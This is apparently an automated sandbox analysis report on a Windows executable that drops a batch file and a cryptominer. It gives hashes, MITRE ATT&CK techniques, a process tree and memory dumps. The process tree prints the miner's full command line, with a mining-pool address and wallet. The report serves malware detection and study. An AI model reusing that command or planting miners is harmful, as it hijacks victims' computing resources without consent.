73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 21:19

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
5288	b2e.exe
1480	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1480	cpuminer-sse2.exe
1480	cpuminer-sse2.exe
1480	cpuminer-sse2.exe
1480	cpuminer-sse2.exe
1480	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5464-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5464 wrote to memory of 5288	5464	batexe.exe	85
PID 5464 wrote to memory of 5288	5464	batexe.exe	85
PID 5464 wrote to memory of 5288	5464	batexe.exe	85
PID 5288 wrote to memory of 2796	5288	b2e.exe	86
PID 5288 wrote to memory of 2796	5288	b2e.exe	86
PID 5288 wrote to memory of 2796	5288	b2e.exe	86
PID 2796 wrote to memory of 1480	2796	cmd.exe	89
PID 2796 wrote to memory of 1480	2796	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5464
- C:\Users\Admin\AppData\Local\Temp\6BE9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6BE9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6BE9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6F15.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6BE9.tmp\b2e.exe

Filesize
20.9MB

MD5
9f300b6c846a01d9e81fa888c756a063

SHA1
89591367a0140a1e186ad4d81b652149bdb66713

SHA256
f39e10012557168d120c59656fe05c8b7757d1fddfd0dfc9a79c0e1de0c0d104

SHA512
0d47df5e2d8981162e63e30fa42584d589abfc60c551498f1e858d31e03f41d0db05ee61f1e31d6a7bc43917490a8a552825680caf6c19d81877394ef70a5605

Download Submit
C:\Users\Admin\AppData\Local\Temp\6BE9.tmp\b2e.exe

Filesize
6.3MB

MD5
6203b110028bd84c2f22df2414b1e422

SHA1
d58323753895cc0a74ac56f2693c0cc769c17fa2

SHA256
857d16a49ab67a8088e6da5e512994153ee92f3f7bddbf988a854a56c2cc9f04

SHA512
92b900e14943256bce5f737a15168666e7bf0fbdfb4c021b94d9b61eda2cfff03b63f09cf9a2a57bb974623c351153e3f99d3c42842bf407bc0a18760312cdc2

Download Submit
C:\Users\Admin\AppData\Local\Temp\6BE9.tmp\b2e.exe

Filesize
5.2MB

MD5
b6b770012cdc15d7d0e66c1998e13af6

SHA1
1ad19f8778ae9dfd4b961f361eb7f475c5bf6e2b

SHA256
adb463226c20ca6d6cdd52e88f3c7b856d2405986a9712aad09cef0e50ac4851

SHA512
0757eb991c65834e6592c536130acdb2d05bd40c9612c4091a03565b90190643c26ec4def70ba091121b9eb1f52a3d46901aef957309ba87a9d056d0ce169e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F15.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
4de481219d4e6138611b88cf976eda3a

SHA1
4b559d22df89172de63dc3551ed0308cc46a5cd1

SHA256
f63edcd695324fc841a261476229ed80aab995e69e8c657e67fd4c66c8ba680b

SHA512
ef06a0499d901a7b18b94831a125c1435923bd20eb0e61d7f08516088a83d5d19e6c32a12f20a539bd30bb25fe60f9a3d3bb6e38f499f6e2ba532b08b2cfef68

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
daee8ad21748a3899bc883eef06e72df

SHA1
4aa175b51fed41550bffd0f7c1231cb17a24d42a

SHA256
c4e99ddc8b5fb6e1303813afa77f988b9ad20bc621980ec84d7c14075d694426

SHA512
48d00843db2ca544e8ef69f8d639de0c978945ccf975f5cbe11a01712a0202d2e2b77d64bbf9c68f35d4b4d78114ec870ac8d483f2f195467a5b9d4d04cab7ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
12d0f6bda8b670027e73b88ceeed08ac

SHA1
1721b1e16e4eb700ef69bcb8caba4f04a6d0a312

SHA256
174d0a4d3377e4f62bcff0a1e1e527fc59508ce0d07dc8a840cb19c7fce128b0

SHA512
86c5b1a19d61e45098bf4b6b3392a7fa1f691c60f6c7d239970d3b265ac39f5664ddddf3fefba931b10b9bcddbe834b350c2befbae80acdebaf63f4d4697b7f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
9bc057770c52d58da8f29cc30f207624

SHA1
551303590406561065c9b7d49f54a96ed6b262b7

SHA256
61d923bc1eba6e7a56351bab62e17f09146f8dd9c2818c86f055f22f5aff5ab4

SHA512
95255c98cd94223fe50a4d072c90ddd46201ece3289c3a3e2398bf967a3669ecbdd2b984b557e6b5e7791263ee8a671c06f8351e4da490a5cb9961d3a583d384

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1480-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1480-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1480-46-0x0000000054460000-0x00000000544F8000-memory.dmp

Filesize
608KB

Download
memory/1480-47-0x0000000001050000-0x0000000002905000-memory.dmp

Filesize
24.7MB

Download
memory/1480-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1480-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5288-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5288-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5464-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download